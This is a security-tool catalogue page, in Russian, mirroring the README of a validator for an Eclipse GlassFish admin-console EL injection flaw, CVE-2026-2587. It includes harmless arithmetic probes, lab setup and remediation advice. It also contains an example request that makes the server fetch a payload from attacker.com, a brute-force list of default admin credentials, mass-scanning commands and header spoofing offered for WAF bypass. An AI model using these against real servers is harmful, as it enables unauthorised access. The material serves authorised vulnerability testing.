Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-2587-Exploit-POC — CVE-2026-2587 валидатор PoC для EL Injection RCE в Eclipse GlassFish в обработчике gadget.jsf консоли администратора. Безопасный аутентифицированный сканер уязвимостей для авторизованного тестирования. | Kitploit
Инструменты/GitHubGitHub/bhanunamikaze/cve-2026-2587-exploit-poc
Сканеры уязвимостейДинамический анализ (песочница)Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubbhanunamikaze/cve-2026-2587-exploit-poc

CVE-2026-2587-Exploit-POC

CVE-2026-2587 валидатор PoC для EL Injection RCE в Eclipse GlassFish в обработчике gadget.jsf консоли администратора. Безопасный аутентифицированный сканер уязвимостей для авторизованного тестирования.

РепозиторийСайт
13 месяцев назадЕщё не проверено

CVE-2026-2587 Эксплойт PoC — Валидатор EL-инъекции RCE в Eclipse GlassFish

Безопасный валидатор PoC для CVE-2026-2587, критической проблемы EL-инъекции / RCE, затрагивающей обработку гаджетов консоли администрирования Eclipse GlassFish через /common/gadgets/gadget.jsf.

Этот инструмент помогает командам безопасности проверить подверженность GlassFish уязвимости CVE-2026-2587 в авторизованных средах, используя безвредную арифметическую EL-канарейку.

Назначено: Eclipse Foundation (CNA) · Опубликовано: 19 мая 2026 г. CVSS: 9.6 Critical · AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H CWE: CWE-917 — Expression Language Injection Затронутые версии: Unknown в публичном уведомлении по состоянию на 21 мая 2026 г. Патченные версии: Unknown в публичном уведомлении по состоянию на 21 мая 2026 г. Правило сканера: версия — только контекст маршрутизации/отчетности; вердикт требует доказательств.


Содержание

  • Сводка уязвимости
  • Принцип работы
  • Требования к аутентификации
  • Установка
  • Лабораторная среда (Docker)
  • Генерация пробного XML
  • Использование — одиночная цель
    • Локальный хост / Docker
    • Учетные данные
    • Подбор логина
    • Удаленно через Cloudflare Tunnel
    • Предварительно размещенный статический XML
    • Удаленно через ngrok (крайний случай)
    • Только неаутентифицированная проверка
  • Использование — несколько целей
    • Формат файла целей
    • Параллельное сканирование
  • Форматы вывода
    • Консоль
    • CSV
    • JSON
    • Комбинирование выводов
  • Расширенные опции
    • Обнаружение конечных точек и версий
    • Пользовательские значения канарейки
    • Пользовательские заголовки
  • Тестовые случаи
  • Интерпретация вывода
  • Ручная верификация
  • Устранение
  • Ссылки
  • Отказ от ответственности

Сводка уязвимости

Критическая уязвимость удаленного выполнения кода существует в обработчике гаджетов консоли администрирования GlassFish. Приложение обрабатывает .xml файлы, полученные из URL, переданного через параметр gadget=, и вычисляет предоставленные пользователем значения внутри атрибутов <ModulePrefs> через движок Java Expression Language (EL) без санитизации или экранирования.``` GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml

root@kitploit:~
Если XML содержит `#{7*7}` в атрибуте `<ModulePrefs title="">`, GlassFish вычисляет его на стороне сервера и возвращает `49` — подтверждая выполнение EL. Полная цепочка RCE следует через доступ EL к среде выполнения Java.

Текущие записи публичных рекомендаций не публикуют границы затронутой или исправленной версии. Поэтому данный валидатор является доказательным: он идентифицирует GlassFish и сообщает метаданные версии, но не классифицирует цель как уязвимую только на основе строки версии.

---

## Как это работает

![Безопасный рабочий процесс проверки для CVE-2026-2587](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

Безопасный путь проверки размещает безвредный XML-зонд, отправляет аутентифицированный запрос к консоли администратора на `gadget.jsf`, позволяет GlassFish получить этот XML из URL обратного вызова и проверяет, вычисляется ли канарейка `<ModulePrefs title="">` из `#{7*7}` в `49`.

**Точка внедрения подтверждена или нет:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

Требования к аутентификации

Вектор CVSS PR:N / UI:R означает:

  • PR:N — злоумышленнику не нужны собственные учетные данные
  • UI:R — вошедший в систему администратор должен взаимодействовать (доставка CSRF)

Для лабораторной проверки полностью пропустите CSRF — используйте напрямую собственную сессию администратора.


Настройка

Требования: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests

optional for coloured terminal output:

pip install colorama

root@kitploit:~
**Содержимое репозитория:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

Лабораторная среда (Docker)

Предупреждение: GHSA по-прежнему указывает затронутые и исправленные версии как неизвестные. omnifish/glassfish:7.0.15 является сильным кандидатом для лаборатории — не гарантированно уязвимая сборка. Примитив проверки остается арифметической канарейкой: если #{7*7} вычисляется в 49, то EL активен.

Вариант A — docker compose (рекомендуется)```bash

from the repo root

docker compose -f docker-compose.lab.yml up

root@kitploit:~
Запускает GlassFish 7.0.15 с портами, привязанными только к `127.0.0.1`, и предварительно настроенным `host.docker.internal`, чтобы контейнер мог достичь вашего локального XML-сервера.

### Option B — bare docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

Консоль администратора: https://localhost:4848 · Логин: admin / admin (Самоподписанный сертификат — ожидается предупреждение браузера.)


Разместить безвредный пробный XML

Во втором терминале:```bash

The repo ships with probe.xml — serve it directly:

python3 -m http.server 8000 --bind 0.0.0.0

root@kitploit:~
Проверьте доступность с точки зрения контейнера:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

Ручной запуск

Сначала войдите в консоль администратора (browser session или --cookie), затем:```bash curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'

root@kitploit:~
| Output | Meaning |
|---|---|
| `CVE2587_TITLE_49_END` | **Уязвимо** — EL выполняется в `ModulePrefs title` |
| `CVE2587_BODY_49_END` | **Уязвимо** — EL выполняется в теле CDATA |
| `CVE2587_TITLE_#{7*7}_END` | Не уязвимо / EL не выполняется |
| *(нет вывода)* | GlassFish никогда не получал XML — проверьте доступность обратного вызова |

> Тело CDATA обычно остается необработанным даже на уязвимых сборках; одного положительного результата `TITLE` достаточно, чтобы подтвердить вывод.

---

### Автоматическая проверка в локальной лаборатории```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

Генерация Probe XML

Репозиторий поставляется с готовым к использованию probe.xml. Вы также можете в любой момент сгенерировать новый — это полезно, когда вам нужен собственный префикс-канарейка или случайные значения, чтобы probe был уникальным для каждого задания.```bash

Generate with default values (CVE2587 prefix, #{7*7})

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Generate with custom prefix and operands

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17

Print to stdout (pipe to a server, gist, etc.)

python3 CVE-2026-2587-Exploit-POC.py --generate-xml -

Generate with random values (different every run)

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127

root@kitploit:~
Вывод после записи в файл:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

Использование — Одиночная цель

Localhost / Docker

Используйте, когда GlassFish работает локально или в Docker на той же машине.

Возьмите свой JSESSIONID из браузера DevTools → Application → Cookies, войдя в административную консоль, затем:```bash

Docker — GlassFish in container, script on host

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose

Localhost (no Docker)

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure

root@kitploit:~
> `host.docker.internal` разрешает хост-машину изнутри Docker.
> Контейнер GlassFish получает ваш XML-зонд по этому адресу.

---

### Учетные данные```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

Если вход через форму не удается, скрипт все равно переходит к попытке доступа к конечной точке. Если это тоже не удается, он выводит пошаговые инструкции для получения cookie сессии.


Перебор логина

Если у вас нет никаких учетных данных, --brute перебирает 21 типичную пару учетных данных GlassFish по порядку и использует первую успешную. Взаимоисключающий с --username и --cookie.```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--brute --insecure --verbose

root@kitploit:~
Если найдена валидная пара, она выводится в результатах и записывается в столбец `brute_creds` CSV-файла. Если все пары не подходят, сканирование завершается с кодом `AUTH_REQUIRED`.

Некоторые сборки GlassFish возвращают `/login.jsf` после успешного POST-запроса формы. Валидатор не считает такой URL сам по себе признаком неудачи; он подтверждает сессию, проверяя конечную точку админ-гаджета и убеждаясь, что ответ не является формой входа.

Список перебираемых учётных данных (по порядку):

| Имя пользователя | Пароль |
|---|---|
| `admin` | `admin` |
| `admin` | *(пусто)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |

---

### Удаленный доступ через Cloudflare Tunnel

Для быстрого туннеля учетная запись не требуется.

**Шаг 1 — Установите cloudflared:**```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

Шаг 2 — Запустить туннель:```bash

Terminal 1

cloudflared tunnel --url http://localhost:8000

→ https://random-words.trycloudflare.com

root@kitploit:~
**Шаг 3 — Запуск валидатора:**

Используйте тот же сгенерированный хостнейм с `http://` для callback-URL. Это позволяет избежать ошибок JVM trust-store в лабораторных контейнерах GlassFish, которые не могут проверить цепочку сертификатов Cloudflare TLS. Если вы вставите сгенерированный `https://` trycloudflare URL, валидатор перезапишет этот callback на `http://` и выведет предупреждение. Косую черту в конце можно не ставить; валидатор автоматически добавляет `/canary.xml` и пути к XML для каждого теста.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

Предварительно размещенный статический XML

Используйте, когда невозможно запустить локальный сервер. Целевая JVM GlassFish должна иметь возможность напрямую получать этот URL, поэтому обычный HTTP на доверенном VPS/веб-сервере часто надежнее, чем HTTPS-хосты, чья цепочка сертификатов не доверена целевой JVM. Флаг --xml-url полностью обходит встроенный сервер.

Сгенерируйте свежий XML-зонд, затем разместите его:```bash

Step 1 — generate

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Step 2 — host it (pick one)

python3 -m http.server 8000 # local, then expose via Cloudflare Tunnel scp probe.xml user@YOUR_VPS:/var/www/ # VPS or any web server

Step 3 — run (use the --prefix/--left/--right from the generate output)

python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure

root@kitploit:~
> `--prefix`, `--left`, `--right` должны соответствовать значениям внутри вашего размещённого XML-файла, чтобы скрипт знал, какой вычисленный токен искать в ответе.

---

### Удалённый доступ через ngrok (крайнее средство)

Используйте ngrok только как крайнее средство для удалённых целей. Бесплатный тариф может блокировать серверные запросы, которые не поступают из браузера, возвращая промежуточную предупредительную HTML-страницу. В этом случае GlassFish загружает предупредительную страницу вместо вашего `probe.xml`, и валидатор может классифицировать ответ как страницу входа или неопределённый результат. Предпочтительнее использовать Cloudflare Tunnel, VPS или статический веб-хостинг, с которого целевая JVM может чисто загружать данные, если только у вас нет платного аккаунта ngrok, обходящего это ограничение.

**Шаг 1 — Установка ngrok:**```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

Шаг 2 — Откройте доступ к вашему локальному серверу:```bash

Terminal 1

ngrok http 8000

→ Forwarding: https://abc123.ngrok-free.app -> http://localhost:8000

root@kitploit:~
**Шаг 3 — Запустите валидатор:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

Замените abc123.ngrok-free.app на ваш реальный ngrok-URL. Скрипт запускает свой собственный XML-сервер на :8000; ngrok перенаправляет трафик из интернета к нему.


Проверка без аутентификации

Проверьте, случайно ли конечная точка оказалась доступна без аутентификации, прежде чем выполнять полную сканирование с аутентификацией. Завершается сразу после Фазы 1.```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--check-unauth-only --insecure

root@kitploit:~
## Использование — Несколько целей

### Формат файла целей

Репозиторий включает `targets.txt.example` в качестве шаблона. Скопируйте и отредактируйте его:

``````bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers

Формат — одна цель на строку, строки, начинающиеся с #, и пустые строки игнорируются, учётные данные для каждой цели переопределяют глобальные --username/--password:```

targets.txt

format: URL

https://server1:4848

format: URL username password

https://server2:4848 admin password123 https://server3:4848 ops secret99

format: URL username:password

https://server4:4848 admin:admin

commented-out targets are skipped

https://server5:4848

root@kitploit:~
Запуск против всех целей:```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --insecure \
  --csv results.csv

Глобальные --username/--password применяются к целям, для которых нет учётных данных в строке. Учётные данные в строке имеют приоритет над глобальными.


Параллельное сканирование

Используйте --threads для одновременного сканирования нескольких целей. Встроенный XML-сервер является общим для всех потоков.```bash

Scan 10 targets at once

python3 CVE-2026-2587-Exploit-POC.py
--targets-file targets.txt
--listen 0.0.0.0:8000
--callback-url https://random-words.trycloudflare.com
--username admin --password admin
--threads 10
--insecure
--csv results.csv --json

root@kitploit:~
> Рекомендуемое количество потоков:
> - Локальная лаборатория: до `10`
> - Удаленные цели через интернет: `3–5` (соблюдайте лимиты запросов)
> - Одиночная цель: `1` (по умолчанию)

---

## Форматы вывода

### Консоль

Вывод, удобный для чтения человеком, по умолчанию. Используйте `--verbose`, чтобы увидеть результаты для каждого тестового случая.```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
  Version : Eclipse GlassFish 7.0.15  [asadmin-api]  (affected: UNKNOWN)
  Console : present  |  Gadget: present  |  Proof: evaluated
[+] VULNERABLE  —  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} → 49
[+]   TC-02 Addition            #{1337+2587} → 3924
[+]   TC-03 Large multiply      #{31337*271} → 8492327
    ...

    Remediation: restrict admin access and apply vendor-published fixed builds when available.

Многоцелевая сводка:``` ════════════════════════════════════════════════════════════════ SCAN SUMMARY — 4 target(s) ════════════════════════════════════════════════════════════════ Vulnerable : 2 Not vulnerable : 1 Auth required : 1 Error / other : 0 ════════════════════════════════════════════════════════════════

root@kitploit:~
---

### CSV```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -

Примеры строк:```csv target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,detected_version,version_source,version_affected,admin_console,gadget_endpoint,proof,brute_creds,TC-01 Basic multiply,...,notes https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,Eclipse GlassFish 7.0.15,asadmin-api,UNKNOWN,present,present,evaluated,,VULNERABLE,..., https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 8.0.1,Eclipse GlassFish 8.0.1,header:Server,UNKNOWN,present,present,not_evaluated,,NOT_VULNERABLE,..., https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,10,no,,,,,UNKNOWN,present,blocked,not_attempted,,,Session rejected or cookie expired

root@kitploit:~
---

### JSON```bash
--json

Одиночная цель:```json { "active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf", "admin_console": "present", "detected_version": "Eclipse GlassFish 7.0.15", "gadget_endpoint": "present", "proof": "evaluated", "server_header": "Eclipse GlassFish 7.0.15", "target": "https://localhost:4848", "tested_paths": [ "https://localhost:4848/common/gadgets/gadget.jsf", "https://localhost:4848/admin/common/gadgets/gadget.jsf", "https://localhost:4848/console/common/gadgets/gadget.jsf", "https://localhost:4848/glassfish/common/gadgets/gadget.jsf", "https://localhost:4848/asadmin/common/gadgets/gadget.jsf" ], "timestamp": "2026-05-21T10:00:00+00:00", "verdict": "VULNERABLE", "version_affected": "UNKNOWN", "version_source": "asadmin-api", "vulnerable_count": 9, "total_tests": 10, "unauth_result": "AUTH_REQUIRED", "tc_results": [ {"name": "TC-01 Basic multiply", "expr": "#{7*7}", "expects": "49", "status": "VULNERABLE"}, {"name": "TC-02 Addition", "expr": "#{1337+2587}", "expects": "3924", "status": "VULNERABLE"} ] }

root@kitploit:~
Несколько целей возвращают массив JSON.

---

### Объединение результатов

Все форматы вывода независимы — комбинируйте свободно:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json

Расширенные настройки

Обнаружение конечных точек и версий

По умолчанию сканер проверяет общий путь к гаджету GlassFish в корневых каталогах общего административного интерфейса:```text /common/gadgets/gadget.jsf /admin/common/gadgets/gadget.jsf /console/common/gadgets/gadget.jsf /glassfish/common/gadgets/gadget.jsf /asadmin/common/gadgets/gadget.jsf

root@kitploit:~
Он также узнаёт корневой контекст графического интерфейса, отличный от стандартного, из заголовков перенаправления `Location` и добавляет этот корень перед тестированием. Используйте повторяемые значения `--path` только когда хотите переопределить этот список обнаружения.

Определение версии выполняется из заголовков ответа, REST API управления, страницы входа и после успешного входа из `/__asadmin/version.json` или `/__asadmin/version`. Данные о версии улучшают только маршрутизацию и отчёты; сканер оставляет `version_affected` как `UNKNOWN` до тех пор, пока публичные записи об уязвимостях не опубликуют границу версий.

---

### Пользовательские канареечные значения

Сопоставьте валидатор с собственноручно созданным XML, используя `--prefix`, `--left`, `--right`. Требуется при использовании `--xml-url` с вашим собственным размещённым файлом.```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

Пользовательские заголовки

Добавляйте произвольные заголовки — полезно для обхода WAF, балансировки нагрузки или тестирования за обратным прокси.```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--header "X-Forwarded-For: 127.0.0.1"
--header "X-Original-URL: /common/gadgets/gadget.jsf"
--header "X-Custom-Header: value"
--proxy http://127.0.0.1:8080
--insecure

root@kitploit:~
---

## Тестовые сценарии

Валидатор выполняет 10 отдельных EL-проб, каждая из которых подтверждает определённую возможность:

| # | Payload | Expected | Что доказывает |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | Базовый арифметический канарейка |
| TC-02 | `#{1337+2587}` | `3924` | Оператор сложения |
| TC-03 | `#{31337*271}` | `8492327` | Устойчивое к коллизиям большое умножение |
| TC-04 | `#{9999-1337}` | `8662` | Оператор вычитания |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | Вложенные скобки / приоритет операторов |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | Условный / тернарный оператор — выполнение потока управления |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | Доступ к строковому методу |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | Цепочка вызовов методов |
| TC-09 | `#{17 mod 5}` | `2` | EL-ключевой оператор |
| TC-10 | `#{100*100}` | `10000` | Дополнительное арифметическое подтверждение |

TC-06, TC-07 и TC-08 наиболее значимы — их прохождение означает, что движок EL выполняет **строковые методы API и условную логику**, что является прямой предпосылкой для полноценной цепочки RCE.

---

## Интерпретация вывода

| Статус | Значение |
|---|---|
| `VULNERABLE` | EL-выражение выполнено — экземпляр подтверждён как уязвимый |
| `VULNERABLE_UNAUTH` | Конечная точка доступна без аутентификации — хуже, чем базовый CVE |
| `NOT_VULNERABLE` | Выражение отображается буквально — EL не выполняется |
| `AUTH_REQUIRED` | Конечная точка возвратила страницу входа — проверьте cookie или учётные данные |
| `INCONCLUSIVE` | Ответ получен, но канарейка не найдена — см. ниже |
| `ERROR` | Запрос не удался — проблема сети/TLS |

`detected_version` и `version_source` являются вспомогательным контекстом. Поскольку публичные уведомления в настоящее время указывают затронутые и исправленные версии как неизвестные, не расценивайте `version_affected=UNKNOWN` как отрицательный результат. Единственным положительным признаком является выполненный проверочный токен.

**Устранение неполадок INCONCLUSIVE:**

| Симптом | Причина | Исправление |
|---|---|---|
| `XML hits: 0` | GlassFish никогда не получил ваш XML | `--callback-url` недоступен с целевого компьютера |
| `XML hits: 1+`, но нет совпадения | EL выполнился, но неверное поле | Ожидаемо для содержимого CDATA |
| Перенаправление аутентификации в середине выполнения | Сессия истекла | Получите свежий `JSESSIONID` из браузера |
| POST для входа перенаправляет на `j_security_check` | Неверный пароль | Используйте `--cookie` вместо этого |

---

## Ручная проверка

Python не требуется:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
  <ModulePrefs title="PROBE_#{7*7}_END"/>
  <Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF

# Step 2 — serve it
python3 -m http.server 8000 --directory probe &

# Step 3 — hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"< ]+_END'

# Vulnerable output:
# PROBE_#{7*7}_END    ← raw (CDATA — expected)
# PROBE_49_END        ← evaluated ✅ VULNERABLE

Устранение


Ссылки


Отказ от ответственности

Этот репозиторий предназначен только для авторизованного тестирования безопасности и исследований.

  • Запускайте этот инструмент только на системах, которыми вы владеете или на которые имеете прямое письменное разрешение на тестирование
  • Валидатор выполняет только безопасную оценку EL — без выполнения команд, без обратной оболочки, без загрузки файлов, без сохранения состояния
  • Автор не несет ответственности за неправомерное использование
  • Ответственное раскрытие было соблюдено — сообщено в декабре 2025 г. и опубликовано в мае 2026 г.

Структура репозитория:``` CVE-2026-2587-Exploit-POC/ ├── assets/ │ └── cve-2026-2587-validation-flow.png ← README workflow diagram ├── CVE-2026-2587-Exploit-POC.py ← validator script ├── probe.xml ← ready-to-host static probe XML (#{7*7} canary) ├── targets.txt.example ← multi-target file template └── README.md

root@kitploit:~
---

<p align="center">
  <a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>
Скачать инструмент
СценарийНужна аутентификация?
Прямое обращение к gadget.jsfДа — FORM auth, страница входа 200
Реальная CSRF-атакаНет — использует активную сессию администратора
Этот валидаторДа — --cookie или --username/--password
Проверка на неавторизованный доступНет — скрипт проверяет это автоматически
КолонкаОписание
targetЦелевой URL
timestampВремя сканирования в UTC ISO-8601
verdictVULNERABLE / NOT_VULNERABLE / AUTH_REQUIRED / VULNERABLE_UNAUTH / ERROR
vulnerable_countКоличество тестов, подтвердивших выполнение EL
total_testsОбщее количество выполненных тестов
unauth_exposedYES, если конечная точка ответила без аутентификации
active_endpointURL конечной точки, использованной для тестирования
server_headerЗаголовок Server: от GlassFish
detected_versionСтрока версии, если удалось определить
version_sourceИсточник значения версии: заголовок, страница входа REST/login или asadmin-api
version_affectedСтатус версии по рекомендациям. В настоящее время UNKNOWN, так как общедоступные диапазоны уязвимых/исправленных версий не опубликованы
admin_consolepresent, not_found или unknown
gadget_endpointpresent, blocked, not_found или unknown
proofevaluated, not_evaluated или not_attempted
TC-01 … TC-10Результат каждого теста: VULNERABLE / NOT_VULNERABLE / INCONCLUSIVE / SKIPPED
notesСообщение об ошибке, если сканирование не удалось
ДействиеПодробности
ОбновлениеПримените исправленную версию от вендора, когда Eclipse/NVD/GHSA опубликуют границу исправленной версии
Отключение обработчика гаджетовЗаблокируйте /common/gadgets/gadget.jsf на WAF/файрволе, если не используется
Брандмауэр консоли администратораОграничьте порт 4848 только доверенными IP-адресами
Защита CSRFУбедитесь, что атрибут cookie SameSite установлен для сессий администратора
Правило WAFБлокируйте #{ и ${ в XML-телах, поступающих на конечную точку гаджета
РесурсСсылка
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-2587
GitHub Advisory (GHSA)https://github.com/advisories/GHSA-29wv-cv7p-xjc2
Отслеживание CVE Eclipsehttps://gitlab.eclipse.org/security/cve-assignment/-/issues/86
Исходный код Eclipse GlassFishhttps://github.com/eclipse-ee4j/glassfish
CWE-917https://cwe.mitre.org/data/definitions/917.html
Автор отчетаCamilo G. (DeepSecurity Perú) — @SeguridadBlanca